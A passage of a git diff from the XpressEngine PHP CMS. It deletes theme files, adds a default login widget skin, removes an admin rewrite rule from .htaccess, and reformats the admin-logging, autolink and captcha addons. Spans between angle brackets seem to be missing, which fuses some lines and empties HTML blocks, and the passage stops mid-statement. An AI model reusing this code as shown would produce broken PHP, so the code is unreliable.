themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_img_4.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_page_off.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_page_on.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_shadow.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/js/blank.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/js/jquery.min.js delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/js/script.js delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/js/slides.min.jquery.js delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/js/xe_official.js delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/layout.html delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/thumbnail.png delete mode 100644 themes/xe_solid_enterprise/modules/communication/add_friend.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/add_friend_group.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/common_footer.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/common_header.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/css/style.css delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/add_friend.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/add_friend_group.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/delete_checked_friend.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/delete_checked_message.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/delete_friend_group.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/move_friend.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/send_message.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/filter/update_allow_message.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/friends.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/Thumbs.db delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/arrowNextA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/arrowNextEndA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/arrowPrevA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/arrowPrevEndA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/bgTab.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/btn_gray_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/btn_gray_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/btn_signin.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/btn_white_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/btn_white_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/bullet_input_id.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/bullet_input_pw.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/buttonClose.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/coltable_head_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/coltable_head_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/coltable_head_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/findTable_9slice_bl.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/findTable_9slice_br.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/findTable_9slice_tl.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/findTable_9slice_tr.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/find_account_bg.jpg delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/find_bg_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/find_bg_left.png delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/find_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/find_bg_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/find_bg_right.png delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/h2_signin.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/iconH2.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/iconH3.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/icon_member_info.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/icon_message.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/lineVrText.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/login_panel_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/signPanel_input_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/title_bg_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/title_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/title_bg_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/title_item_vr.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/title_on_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/title_on_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/images/topbar_vr.gif delete mode 100644 themes/xe_solid_enterprise/modules/communication/js/communication.js delete mode 100644 themes/xe_solid_enterprise/modules/communication/messages.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/new_message.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/send_message.html delete mode 100644 themes/xe_solid_enterprise/modules/communication/skin.xml delete mode 100644 themes/xe_solid_enterprise/modules/communication/thumbnail.png delete mode 100644 themes/xe_solid_enterprise/modules/member/common_footer.html delete mode 100644 themes/xe_solid_enterprise/modules/member/common_header.html delete mode 100644 themes/xe_solid_enterprise/modules/member/confirm_member_account_mail.html delete mode 100644 themes/xe_solid_enterprise/modules/member/css/style.css delete mode 100644 themes/xe_solid_enterprise/modules/member/document_list.html delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/add_openid_to_member.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/delete_image_mark.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/delete_image_name.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/delete_openid_from_member.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/delete_profile_image.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/find_member_account.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/find_member_account_by_question.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/leave_member.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/login.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/logout.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/modify_info.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/modify_password.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/openid_leave_member.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/openid_login.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/resend_auth_mail.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/signup.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/filter/update_allow_message.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/find_member_account.html delete mode 100644 themes/xe_solid_enterprise/modules/member/find_member_account_mail.html delete mode 100644 themes/xe_solid_enterprise/modules/member/find_temp_password.html delete mode 100644 themes/xe_solid_enterprise/modules/member/images/Thumbs.db delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowNextA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowNextB1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowNextC1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowNextEndA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowPrevA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowPrevB1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowPrevC1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/arrowPrevEndA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/btn_gray_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/btn_gray_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/btn_signin.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/btn_white_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/btn_white_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/bullet_input_id.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/bullet_input_pw.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/coltable_head_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/coltable_head_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/coltable_head_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/findTable_9slice_bl.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/findTable_9slice_br.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/findTable_9slice_tl.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/findTable_9slice_tr.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/find_account_bg.jpg delete mode 100644 themes/xe_solid_enterprise/modules/member/images/find_bg_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/find_bg_left.png delete mode 100644 themes/xe_solid_enterprise/modules/member/images/find_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/find_bg_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/find_bg_right.png delete mode 100644 themes/xe_solid_enterprise/modules/member/images/h2_signin.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/icon_member_info.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/icon_message.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/login_panel_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/signPanel_input_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/signup_head.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_bc.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_bl.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_bl_tfoot.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_br.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_ml.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_mr.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_tc.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_tl.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/sng_tr.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/table_bg_bottom.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/table_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/table_bg_top.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/title_bg_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/title_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/title_bg_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/title_item_vr.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/title_on_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/title_on_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/images/topbar_vr.gif delete mode 100644 themes/xe_solid_enterprise/modules/member/js/member.js delete mode 100644 themes/xe_solid_enterprise/modules/member/js/signup_check.js delete mode 100644 themes/xe_solid_enterprise/modules/member/leave_form.html delete mode 100644 themes/xe_solid_enterprise/modules/member/login_form.html delete mode 100644 themes/xe_solid_enterprise/modules/member/logout.html delete mode 100644 themes/xe_solid_enterprise/modules/member/member_info.html delete mode 100644 themes/xe_solid_enterprise/modules/member/modify_info.html delete mode 100644 themes/xe_solid_enterprise/modules/member/modify_password.html delete mode 100644 themes/xe_solid_enterprise/modules/member/openid_leave_form.html delete mode 100644 themes/xe_solid_enterprise/modules/member/resend_auth_mail.html delete mode 100644 themes/xe_solid_enterprise/modules/member/saved_list.html delete mode 100644 themes/xe_solid_enterprise/modules/member/saved_list_popup.html delete mode 100644 themes/xe_solid_enterprise/modules/member/scrapped_list.html delete mode 100644 themes/xe_solid_enterprise/modules/member/signup_form.html delete mode 100644 themes/xe_solid_enterprise/modules/member/skin.xml delete mode 100644 themes/xe_solid_enterprise/modules/member/thumbnail.png delete mode 100644 themes/xe_solid_enterprise/modules/message/filter/login.xml delete mode 100644 themes/xe_solid_enterprise/modules/message/filter/logout.xml delete mode 100644 themes/xe_solid_enterprise/modules/message/filter/openid_login.xml delete mode 100644 themes/xe_solid_enterprise/modules/message/images/Thumbs.db delete mode 100644 themes/xe_solid_enterprise/modules/message/images/arrowNextA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/arrowNextEndA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/arrowPrevA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/arrowPrevEndA1.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/btn_gray_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/btn_gray_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/btn_signin.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/btn_white_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/btn_white_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/bullet_input_id.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/bullet_input_pw.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/buttonAction.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/coltable_head_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/coltable_head_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/coltable_head_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/findTable_9slice_bl.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/findTable_9slice_br.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/findTable_9slice_tl.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/findTable_9slice_tr.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/find_account_bg.jpg delete mode 100644 themes/xe_solid_enterprise/modules/message/images/find_bg_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/find_bg_left.png delete mode 100644 themes/xe_solid_enterprise/modules/message/images/find_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/find_bg_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/find_bg_right.png delete mode 100644 themes/xe_solid_enterprise/modules/message/images/h2_signin.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/icon_member_info.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/icon_message.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/login_panel_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/openid_login_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/signPanel_input_bg.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/signin_title.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/title_bg_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/title_bg_repeat.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/title_bg_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/title_item_vr.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/title_on_left.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/title_on_right.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/images/topbar_vr.gif delete mode 100644 themes/xe_solid_enterprise/modules/message/message.css delete mode 100644 themes/xe_solid_enterprise/modules/message/message.js delete mode 100644 themes/xe_solid_enterprise/modules/message/skin.xml delete mode 100644 themes/xe_solid_enterprise/modules/message/system_message.html delete mode 100644 themes/xe_solid_enterprise/modules/message/thumbnail.png delete mode 100644 themes/xe_solid_enterprise/thumbnail.png create mode 100644 tools/minify/cssmin/CSSmin.php delete mode 100644 tools/minify/cssmin/cssmin.php create mode 100644 widgets/login_info/skins/default/default.login.css create mode 100644 widgets/login_info/skins/default/default.login.js create mode 100644 widgets/login_info/skins/default/login.xml create mode 100644 widgets/login_info/skins/default/login_form.html create mode 100644 widgets/login_info/skins/default/login_info.html rename {themes/xe_greystone/modules/message/filter => widgets/login_info/skins/default}/logout.xml (100%) create mode 100644 widgets/login_info/skins/default/skin.xml delete mode 100644 widgets/login_info/skins/xe_global/images/Thumbs.db delete mode 100644 widgets/login_info/skins/xe_global/images/black/Thumbs.db delete mode 100644 widgets/login_info/skins/xe_global/images/default/Thumbs.db delete mode 100644 widgets/login_info/skins/xe_global/images/white/Thumbs.db delete mode 100644 widgets/login_info/skins/xe_globalTwo/images/default/Thumbs.db delete mode 100644 widgets/login_info/skins/xe_solid_enterprise_login/images/Thumbs.db diff --git a/.htaccess b/.htaccess index 2730b2a1e..89ecf951f 100644 --- a/.htaccess +++ b/.htaccess @@ -26,9 +26,6 @@ RewriteRule ^([a-zA-Z0-9_]+)/([0-9]+)/(.+)/trackback$ ./index.php?mid=$1&documen RewriteRule ^([a-zA-Z0-9_]+)/([0-9]+)/(.+)/trackback$ ./index.php?vid=$1&document_srl=$2&key=$3&act=trackback [L] RewriteRule ^([a-zA-Z0-9_]+)/([a-zA-Z0-9_]+)/([0-9]+)/(.+)/trackback$ ./index.php?vid=$1&mid=$2&document_srl=$3&key=$4&act=trackback [L] -# administrator page -RewriteRule ^admin/?$ ./index.php?module=admin [L] - # document permanent link RewriteRule ^([0-9]+)$ ./index.php?document_srl=$1 [L,QSA] diff --git a/addons/adminlogging/adminlogging.addon.php b/addons/adminlogging/adminlogging.addon.php index a3eb4981a..6253d12fd 100644 --- a/addons/adminlogging/adminlogging.addon.php +++ b/addons/adminlogging/adminlogging.addon.php @@ -1,17 +1,21 @@ is_admin == 'Y') { - $oAdminloggingController = &getController('adminlogging'); +if($called_position == 'before_module_proc' && $kind == 'admin' && $logged_info->is_admin == 'Y') +{ + $oAdminloggingController = getController('adminlogging'); $oAdminloggingController->insertLog($this->module, $this->act); } -?> +/* End of file adminlogging.php */ +/* Location: ./addons/adminlogging */ diff --git a/addons/autolink/autolink.addon.php b/addons/autolink/autolink.addon.php index b5910a76a..7d1a38743 100644 --- a/addons/autolink/autolink.addon.php +++ b/addons/autolink/autolink.addon.php @@ -1,12 +1,21 @@ +/* End of file autolink.addon.php */ +/* Location: ./addons/autolink/autolink.addon.php */ diff --git a/addons/autolink/autolink.spec.html b/addons/autolink/autolink.spec.html index 8c1292322..103795949 100644 --- a/addons/autolink/autolink.spec.html +++ b/addons/autolink/autolink.spec.html @@ -1,16 +1,16 @@ - - + + - + Autolink Addon Unit Test - - - - - - - - + + + + + +'); - Context::loadFile(array('./addons/captcha/captcha.min.js', 'body', '', null), true); - } - } - - // compare session when calling actions such as writing a post or a comment on the board/issue tracker module - if(!$_SESSION['captcha_authed'] && in_array(Context::get('act'), $target_acts)) { - Context::loadLang('./addons/captcha/lang'); - $ModuleHandler->error = "captcha_denied"; - } - - return true; - } - - function createKeyword() - { - $type = Context::get('captchaType'); - if ($type == 'inline' && $_SESSION['captcha_keyword']) return; - - $arr = range('A','Y'); - shuffle($arr); - $arr = array_slice($arr,0,6); - $_SESSION['captcha_keyword'] = join('', $arr); - } - - function before_module_init_setCaptchaSession() - { - if($_SESSION['captcha_authed']) return false; - // Load language files - - Context::loadLang(_XE_PATH_.'addons/captcha/lang'); - // Generate keywords - - $this->createKeyword(); - - $target = Context::getLang('target_captcha'); - header("Content-Type: text/xml; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); - printf("\r\n 0\r\n success\r\n \r\n \r\n \r\n \r\n \r\n " - ,Context::getLang('about_captcha') - ,Context::getLang('captcha_reload') - ,Context::getLang('captcha_play') - ,Context::getLang('cmd_input') - ,Context::getLang('cmd_cancel') - ); - Context::close(); - exit(); - } - - function before_module_init_captchaImage() - { - if($_SESSION['captcha_authed']) return false; - if(Context::get('renew')) $this->createKeyword(); - - $keyword = $_SESSION['captcha_keyword']; - $im = $this->createCaptchaImage($keyword); - - header("Cache-Control: "); - header("Pragma: "); - header("Content-Type: image/png"); - - imagepng($im); - imagedestroy($im); - - Context::close(); - exit(); - } - - function createCaptchaImage($string) - { - $arr = array(); - for($i=0,$c=strlen($string);$i<$c;$i++) $arr[] = $string{$i}; - // Font site - - $w = 18; - $h = 25; - // Character length - - $c = count($arr); - // Character image - - $im = array(); - // Create an image by total size - - $im[] = imagecreate(($w+2)*count($arr), $h); - - $deg = range(-30,30); - shuffle($deg); - // Create an image for each letter - - foreach($arr as $i => $str) - { - $im[$i+1] = @imagecreate($w, $h); - $background_color = imagecolorallocate($im[$i+1], 255, 255, 255); - $text_color = imagecolorallocate($im[$i+1], 0, 0, 0); - // Control font size - - $ran = range(1,20); - shuffle($ran); - - if(function_exists('imagerotate')) - { - imagestring($im[$i+1], (array_pop($ran)%3)+3, 2, (array_pop($ran)%8), $str, $text_color); - $im[$i+1] = imagerotate($im[$i+1], array_pop($deg), 0); - - $background_color = imagecolorallocate($im[$i+1], 255, 255, 255); - imagecolortransparent($im[$i+1], $background_color); - } - else - { - imagestring($im[$i+1], (array_pop($ran)%3)+3, 2, (array_pop($ran)%4), $str, $text_color); - } - } - - // Combine images of each character - - for($i=1;$icreateCaptchaAudio($keyword); - - header('Content-type: audio/mpeg'); - header("Content-Disposition: attachment; filename=\"captcha_audio.mp3\""); - header('Cache-Control: no-store, no-cache, must-revalidate'); - header('Expires: Sun, 1 Jan 2000 12:00:00 GMT'); - header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . 'GMT'); - header('Content-Length: ' . strlen($data)); - - echo $data; - Context::close(); - exit(); - } - - function createCaptchaAudio($string) - { - $data = ''; - $_audio = './addons/captcha/audio/F_%s.mp3'; - for($i=0,$c=strlen($string);$i<$c;$i++) - { - $_data = FileHandler::readFile(sprintf($_audio, $string{$i})); - - $start = rand(5, 68); // Random start in 4-byte header and 64 byte data - $datalen = strlen($_data) - $start - 256; // Last unchanged 256 bytes - - for($j=$start;$j<$datalen;$j+=64) - { - $ch = ord($_data{$j}); - if($ch<9 || $ch>119) continue; - $_data{$j} = chr($ch+rand(-8,8)); - } - - $data .= $_data; - } - - return $data; - } - - function compareCaptcha() - { - if($_SESSION['captcha_authed']) return true; - - if(strtoupper($_SESSION['captcha_keyword']) == strtoupper(Context::get('secret_text'))) { - $_SESSION['captcha_authed'] = true; - return true; - } - unset($_SESSION['captcha_authed']); + } + } + function before_module_init(&$ModuleHandler) + { + $logged_info = Context::get('logged_info'); + if($logged_info->is_admin == 'Y' || $logged_info->is_site_admin) + { + return false; + } + if($this->addon_info->target != 'all' && Context::get('is_logged')) + { + return false; + } + if($_SESSION['XE_VALIDATOR_ERROR'] == -1) + { + $_SESSION['captcha_authed'] = false; + } + if($_SESSION['captcha_authed']) + { return false; } - function before_module_init_captchaCompare() + $type = Context::get('captchaType'); + + $target_acts = array('procBoardInsertDocument', 'procBoardInsertComment', 'procIssuetrackerInsertIssue', 'procIssuetrackerInsertHistory', 'procTextyleInsertComment'); + if($this->addon_info->apply_find_account == 'apply') { - if(!$this->compareCaptcha()) - { - return false; - } - - header("Content-Type: text/xml; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); - print("\r\n0\r\nsuccess\r\n"); - - Context::close(); - exit(); + $target_acts[] = 'procMemberFindAccount'; + } + if($this->addon_info->apply_resend_auth_mail == 'apply') + { + $target_acts[] = 'procMemberResendAuthMail'; + } + if($this->addon_info->apply_signup == 'apply') + { + $target_acts[] = 'procMemberInsert'; } - function inlineDisplay() + if(Context::getRequestMethod() != 'XMLRPC' && Context::getRequestMethod() !== 'JSON') + { + if($type == 'inline') + { + if(!$this->compareCaptcha()) + { + Context::loadLang('./addons/captcha/lang'); + $_SESSION['XE_VALIDATOR_ERROR'] = -1; + $_SESSION['XE_VALIDATOR_MESSAGE'] = Context::getLang('captcha_denied'); + $_SESSION['XE_VALIDATOR_MESSAGE_TYPE'] = 'error'; + $_SESSION['XE_VALIDATOR_RETURN_URL'] = Context::get('error_return_url'); + $ModuleHandler->_setInputValueToSession(); + } + } + else + { + Context::addHtmlHeader(''); + Context::loadFile(array('./addons/captcha/captcha.min.js', 'body', '', null), true); + } + } + + // compare session when calling actions such as writing a post or a comment on the board/issue tracker module + if(!$_SESSION['captcha_authed'] && in_array(Context::get('act'), $target_acts)) + { + Context::loadLang('./addons/captcha/lang'); + $ModuleHandler->error = "captcha_denied"; + } + + return true; + } + + function createKeyword() + { + $type = Context::get('captchaType'); + if($type == 'inline' && $_SESSION['captcha_keyword']) + { + return; + } + + $arr = range('A', 'Y'); + shuffle($arr); + $arr = array_slice($arr, 0, 6); + $_SESSION['captcha_keyword'] = join('', $arr); + } + + function before_module_init_setCaptchaSession() + { + if($_SESSION['captcha_authed']) + { + return false; + } + // Load language files + Context::loadLang(_XE_PATH_ . 'addons/captcha/lang'); + // Generate keywords + $this->createKeyword(); + + $target = Context::getLang('target_captcha'); + header("Content-Type: text/xml; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + printf("\r\n 0\r\n success\r\n \r\n \r\n \r\n \r\n \r\n " + , Context::getLang('about_captcha') + , Context::getLang('captcha_reload') + , Context::getLang('captcha_play') + , Context::getLang('cmd_input') + , Context::getLang('cmd_cancel') + ); + Context::close(); + exit(); + } + + function before_module_init_captchaImage() + { + if($_SESSION['captcha_authed']) + { + return false; + } + if(Context::get('renew')) { - unset($_SESSION['captcha_authed']); $this->createKeyword(); + } - $swfURL = getUrl().'addons/captcha/swf/play.swf'; - Context::unloadFile('./addons/captcha/captcha.min.js'); - Context::loadFile(array('./addons/captcha/inline_captcha.js','body')); + $keyword = $_SESSION['captcha_keyword']; + $im = $this->createCaptchaImage($keyword); - global $lang; + header("Cache-Control: "); + header("Pragma: "); + header("Content-Type: image/png"); - $tags=<< $str) + { + $im[$i + 1] = @imagecreate($w, $h); + $background_color = imagecolorallocate($im[$i + 1], 255, 255, 255); + $text_color = imagecolorallocate($im[$i + 1], 0, 0, 0); + + // Control font size + $ran = range(1, 20); + shuffle($ran); + + if(function_exists('imagerotate')) + { + imagestring($im[$i + 1], (array_pop($ran) % 3) + 3, 2, (array_pop($ran) % 8), $str, $text_color); + $im[$i + 1] = imagerotate($im[$i + 1], array_pop($deg), 0); + + $background_color = imagecolorallocate($im[$i + 1], 255, 255, 255); + imagecolortransparent($im[$i + 1], $background_color); + } + else + { + imagestring($im[$i + 1], (array_pop($ran) % 3) + 3, 2, (array_pop($ran) % 4), $str, $text_color); + } + } + + // Combine images of each character + for($i = 1; $i < count($im); $i++) + { + imagecopy($im[0], $im[$i], (($w + 2) * ($i - 1)), 0, 0, 0, $w, $h); + imagedestroy($im[$i]); + } + + // Larger image + $big_count = 2; + $big = imagecreatetruecolor(($w + 2) * $big_count * $c, $h * $big_count); + imagecopyresized($big, $im[0], 0, 0, 0, 0, ($w + 2) * $big_count * $c, $h * $big_count, ($w + 2) * $c, $h); + imagedestroy($im[0]); + + if(function_exists('imageantialias')) + { + imageantialias($big, true); + } + + // Background line + $line_color = imagecolorallocate($big, 0, 0, 0); + + $w = ($w + 2) * $big_count * $c; + $h = $h * $big_count; + $d = array_pop($deg); + + for($i = -abs($d); $i < $h + abs($d); $i = $i + 7) + { + imageline($big, 0, $i + $d, $w, $i, $line_color); + } + + $x = range(0, ($w - 10)); + shuffle($x); + + for($i = 0; $i < 200; $i++) + { + imagesetpixel($big, $x[$i] % $w, $x[$i + 1] % $h, $line_color); + } + + return $big; + } + + function before_module_init_captchaAudio() + { + if($_SESSION['captcha_authed']) + { + return false; + } + + $keyword = strtoupper($_SESSION['captcha_keyword']); + $data = $this->createCaptchaAudio($keyword); + + header('Content-type: audio/mpeg'); + header("Content-Disposition: attachment; filename=\"captcha_audio.mp3\""); + header('Cache-Control: no-store, no-cache, must-revalidate'); + header('Expires: Sun, 1 Jan 2000 12:00:00 GMT'); + header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . 'GMT'); + header('Content-Length: ' . strlen($data)); + + echo $data; + Context::close(); + exit(); + } + + function createCaptchaAudio($string) + { + $data = ''; + $_audio = './addons/captcha/audio/F_%s.mp3'; + for($i = 0, $c = strlen($string); $i < $c; $i++) + { + $_data = FileHandler::readFile(sprintf($_audio, $string{$i})); + + $start = rand(5, 68); // Random start in 4-byte header and 64 byte data + $datalen = strlen($_data) - $start - 256; // Last unchanged 256 bytes + + for($j = $start; $j < $datalen; $j+=64) + { + $ch = 